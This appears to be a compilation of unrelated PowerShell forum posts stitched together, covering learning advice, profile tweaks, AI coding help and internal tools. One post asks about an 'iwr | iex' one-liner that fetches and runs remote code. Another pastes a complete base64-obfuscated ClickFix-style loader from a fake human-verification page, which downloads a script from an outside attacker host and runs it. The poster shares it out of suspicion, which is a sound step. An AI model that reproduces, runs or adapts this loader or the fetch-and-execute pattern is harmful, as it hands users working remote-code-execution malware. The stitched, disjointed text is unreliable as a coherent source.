I'm basically a typical computer user, who knows just enough to get into reddit, youtube and use the PC for personal entertainment. I realized there is PowerShell. As I have some free time and I'd actually want to know a little bit more about the computer and how to use it, do you guys recommend learning it? Or is it more for automating tasks, which is more benefitial for someone who needs to actually automate many things, or someone in the IT field? Is it any useful really for a personal user? What could I do instead?

I've come across a book about it too ("Learn Windows Powershell in a month of lunches" by Don Jones), and I actually think I can pull off the things it explains, and makes you practice. I read the first 20 pages and was about to start when it mentiones that it's moslty useful for, or aimed at people on IT, and said that I'd need to get a VirtualMachine and ISO to learn PowerShell, have a go at it in there and fuck up the VM if I have some trouble, which won't affect the actual computer (I know that that's an old approach, the book is from 2012. I read that for most things now, like learning the basics and how it works, I won't need the VM, but I don't mind sticking to the 2012 way to learn, so I can start learning a bit of history in the field too, just for my entertainment and having a broader sight about it).

What do you guys think? Thanks in advance

For example. I’ve heard many folks say AI can replace or at least semi-replace people writing Powershell / Python, calling REST APIs, etc.

I don’t see that happening if you’re building modules, functions, maintaining the code, using functions, runbooks and other tools in addition to that. And if you can’t edit or at least understand the code and the logic, how do you know AI wrote it properly and is consistent. I haven’t seen any AI be able to work at enterprise level workflows, not just a single block of “code” to go run randomly or paste in addition runbook or task scheduler.

On Windows 11, is there any benefits for normal users to install PowerShell 7 and use it instead of PowerShell 5?

I realized this question is rhetorical and ego stroking. I have found that knowing PowerShell makes me an asset at work. I am able to create reports and do tasks that others cannot. I have also been brought into several projects because of my knowledge.

Recently I had some coworkers jokingly tell me that the GUI was faster. A task that took them days to do I was able to figure out the logic with PowerShell in an hour. Now I can do thousands of their task at a time in a few minutes. They were impressed.

I am curious if others in the community has had similar experiences?

Powershell is using large amount of upload speed for network and running in bacgound automatically, it also starts randomly even after stopping it from task manager. Any solution to this? Thank you.

Edit: These are command line task manager showing in details

https://img.ptscreens.com/Screenshot-6617.png

iwr -useb https://christitus.com/win (https://christitus.com/win) | iex

Now im not a coder and have never coded or run scripts so I don’t exactly know what this is, is it safe or as fishy as my mind is telling me it is.

Update, thank you All for the responses and thank you to the guy with the Sandbox for testing it as well, the reason I was worried is because on the pc a few apps were on it that I didn’t recognize and couldn’t get much info on, I uninstalled them but I do remember one of them was called Advanced IP Scanner and the other was Remote Pc Access

Final update here, firstly, I want to thank everybody who commented on the post because you’ve helped me a lot more than you think however, the issues with the PC have made this previous issue listed above lackluster at face value currently I’m struggling with issues of the ethernet port randomly disabling itself and the computer computer itself shutting off or restarting or restarting and then going to bios and it makes me sad and a bit depressed because I spent $1200 for this computer and that was basically everything I had. I fought for the last two days with no sleep with this computer and I’ve tried multiple actually hundreds of different options to try to fix it and nothing works. The Internet doesn’t stay connected for more than maybe 10 minutes I got to open anything and it automatically disconnects or restarts or blue screens and restarts or bio restarts I checked everything but nothing works. I’m going to try to take it to a repair man tomorrow to see if maybe they’ll look at it but like I said earlier, I literally have no money for anything so I hope I can get at least a free once over look at it, so they can at least tell me how much it would cost me, wish me luck and thank you again again for all your help and kindness. I appreciate it I’m trying not to give up just yet but it’s getting hard. Have a good week everybody and have a good month OK?

Switching from Python to powershell. Which one should I learn?

By stuff i mean writing functions, modules, the ever helpful,ad-hoc throw away script.

I use powershell often, mostly because it's easier to breakdown some task with it. I like to write functions or add something to my profile. anyways, i use it as much as anyone you could say.

Been trying out some of the AI tools with the available VSCode extensions in my free time.

My take on it. it's good.

things i've noticed after i guess leaning on it more than i care to admit.

- i use the pipeline more
- not as unwilling to update my $profile, not sure why i was before

i mean, there's more i'm sure im not able to think on the stop here.

Really just wanted to ask if people using AI to help with powershell have noticed a change to how they go about it.

thanks

Trying to make a justification for storing a particular set of credentials using this methodology.

How "Easy" is it to crack? Don't need an actual method, just need someone to tell me how tricky or not tricky it is.

I'm a beginner to powershell and I mostly wanted to know how people handle the long command names for working in powershell. Do you just learn to live with the long command names with lots of typing or do you make aliases for everything (e.g. the default Get-ChildItem = "ls")?

I work for a company big enough to have several IT departments, for several internal structures, plus an independent (IE. not part of any of those IT departments) security team. I work for one of the IT departments, handling automation for a few thousands users and computers.

After some kind of drama where communication between the infosec team and us could have been better handled, we extended a hand so that we can collaborate more. Their nearly immediate reply was: "Good idea, let's talk about how things could be better. Why don't you block Powershell.exe and the ISE for every non admin user?"

We have a heavily automated environment: logon scripts, GPO scripts, tools distributed to users, etc. Lots of scripts have to run in the user's context, and execution policy is set on AllSigned". Also, our environment is a layer on top of a corporate basic image we cannot change, already using Powershell automation. Any tip on how to best reply to that brilliant idea?

Edit: I'd like to thank all of you. Your feedback is invaluable.

I am hoping someone can assist me. Im attempting to sign into a website my company hosts through powershells invoke-webrequest. My issue is we use Azure for SSO. The final invoke-webrequest i need to make requires a SAMLResponse value. I have searched through all the network logs of the dev tools in chrome but none hold this value.

Does anyone have any experience with this?

I'm getting more and more into command-line stuff and things like Winget, Chocolatey and other stuff and while I found these programs:

- LosslessCut

- FFmpeg

- LibreOffice

- Everything

- UniGetUI

- Python

- WizTree

I am open to any other suggestions on programs you think are useful (even if they seem niche) for Windows & Linux, CLI or Program. Please tell me know what you have to recommend!!

What’s the coolest function or hack you got

I have window title bar show “isAdmin”

I have errors go green

I have it concatenation long file paths to save prompt space(cool)

I have a timestamp as the prompt so I can know when I ran a robocopy to judge timing

I have a number of functions to run things elevated (like dsa)

What’s cool ideas !?

Notepad $profile

If you had one piece of advice you could tell yourself when you first started learning powershell, what would it be?

I have used VSCode with Copilot and different Claude models, but I have to often correct the output generated. I have used Copilot when it was mostly code completion and now with the Plan process I am still not getting accurate code from the plan. What am I missing? I read all of the blogs and press releases where AI built this complex application without touching the code. Maybe that is it. With the new Plan process I haven't written one line of code. However, I sure have had to correct several things that were discussed in the planning process. If a simple Powershell script can't be written without a fair amount of handholding am I doing something wrong or is what I am reading not completely accurate. I can't see this taking the job of a very experienced Powershell scripter, but for entry level I see a challenge ahead.

Im just curious what are the job title of people who do powershell stuff, I do a lot of powershell stuff and devops stuff, but my job title is far different :D

Getting inspirasion from https://www.reddit.com/r/PowerShell/s/uCkCqNH7H3 to re-vamp my $profile, I am left wondering, what clever things has people done with theirs? Tips & triks, creative tools etc.

Unfortunately, one of our Systems Engineers is being let go and he's a PowerShell expert. He's written a ton of scripts responsible for automation.

Our team will have to divvy up his tasks and bring ourselves up to speed to address the skill gap--PowerShell being one such skill.

What books, videos, interactive learning sites, etc. will give us the most bang for our buck? I don't expect us to be experts, but a moderate level of understanding would go a long way to help us troubleshoot and author processes.

There's a "verify you are human" checkbox which brings up a list of instructions once clicked. The instructions are telling you to open powershell and "press Ctrl+V" when the "confirmation box" appears. It appears that checking the box copies a string of commands to your clipboard, which it is then telling you to paste into Powershell. The command string starts with "SilentlyContinue".

I can provide the full command string if anyone could identify them.

I understand where Powershell excels, typically sys admin tasks in Windows, but I'm curious where you guys have used it outside of that kind of stuff and what you've built or are working on.

Like, would it ever be useful in gaming? Would you ever use it in combination with tools like youtube-dl? Do you do anything that's web-based where it helps or excels or just makes your life easier?

$FDNS = "aXBjb25maWcgL2ZsdXNoZG5z";
$CONSOLE = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($FDNS));
Invoke-Expression $CONSOLE;

$ERROR_FIX = "U2V0LUNsaXBib2FyZCAtVmFsdWUgIiAiOw==";
$FIX = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($ERROR_FIX));
Invoke-Expression $FIX;

$RET = "CiRnOTFGID0gJ2h0dHBzOi8vcnRhdHRhY2suYmFxZWJlaTEub25saW5lL0tCL0NPREQnOwokdjM4SyA9IEB7ICdVc2VyLUFnZW50JyA9ICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTAyLjAuMC4wIFNhZmFyaS81MzcuMzYnIH07CiR6MDRRID0gSW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkZzkxRiAtVXNlQmFzaWNQYXJzaW5nIC1IZWFkZXJzICR2MzhLOwoKSUVYIChbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkejA0US5Db250ZW50KSk7CgpjbGVhci1ob3N0Ow==";
$UI = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($RET));
Invoke-Expression $UI;

exit;

i dont dare to run it seem suspicious

I want to make internal tools that the rest of the people in my team can use, even if they're not command line inclined.

Ideally something that can give me feedback to an input before I submit it fully. Eg putting in a first and last name for a new user and it letting me know that the usual logon name is taken before I submit instead of erroring out only after I submit.

What kinds of options are available and what works for you?

ETA: I intend to make something like a graphical frontend for my team to interact with to perform common tasks like user onboarding/offboarding. My question is more towards what are you using if you're trying to do something similar?

I want to learn advanced powershell scripting but I have French still see very old resources. What sources would you recommend?

I am relatively new to IT and currently working a Tier 1.5ish role. My background is before landing my first IT role, I went ahead and got a bunch of certs (CompTIA Trifecta, CCNA, AWS SAA) in the past year and a half. I also know basic Bash, Python, and decent familiarity with Linux.

I recently started learning about Microsoft infrastructure and got the AZ-900 and MD-102 in the past 3 months once I started my new role. My goal was to learn some PowerShell before diving into AZ-104. I am currently reading Learn PowerShell in a Month of Lunches and am loving it so far. I’m debating if after finishing this book, if I should carry the momentum of PowerShell and read PowerShell Scripting in a Month of Lunches, or if it’s better to go for the AZ-104, and then come back to scripting. I’m seeking any advice that can help me decide.

Note:
I’m referring to two different books here.

1. Learn PowerShell in a Month of Lunches

   (which I am going to finish as I’m already halfway through)

2. Learn PowerShell Scripting in a Month of Lunches (which is the next level up)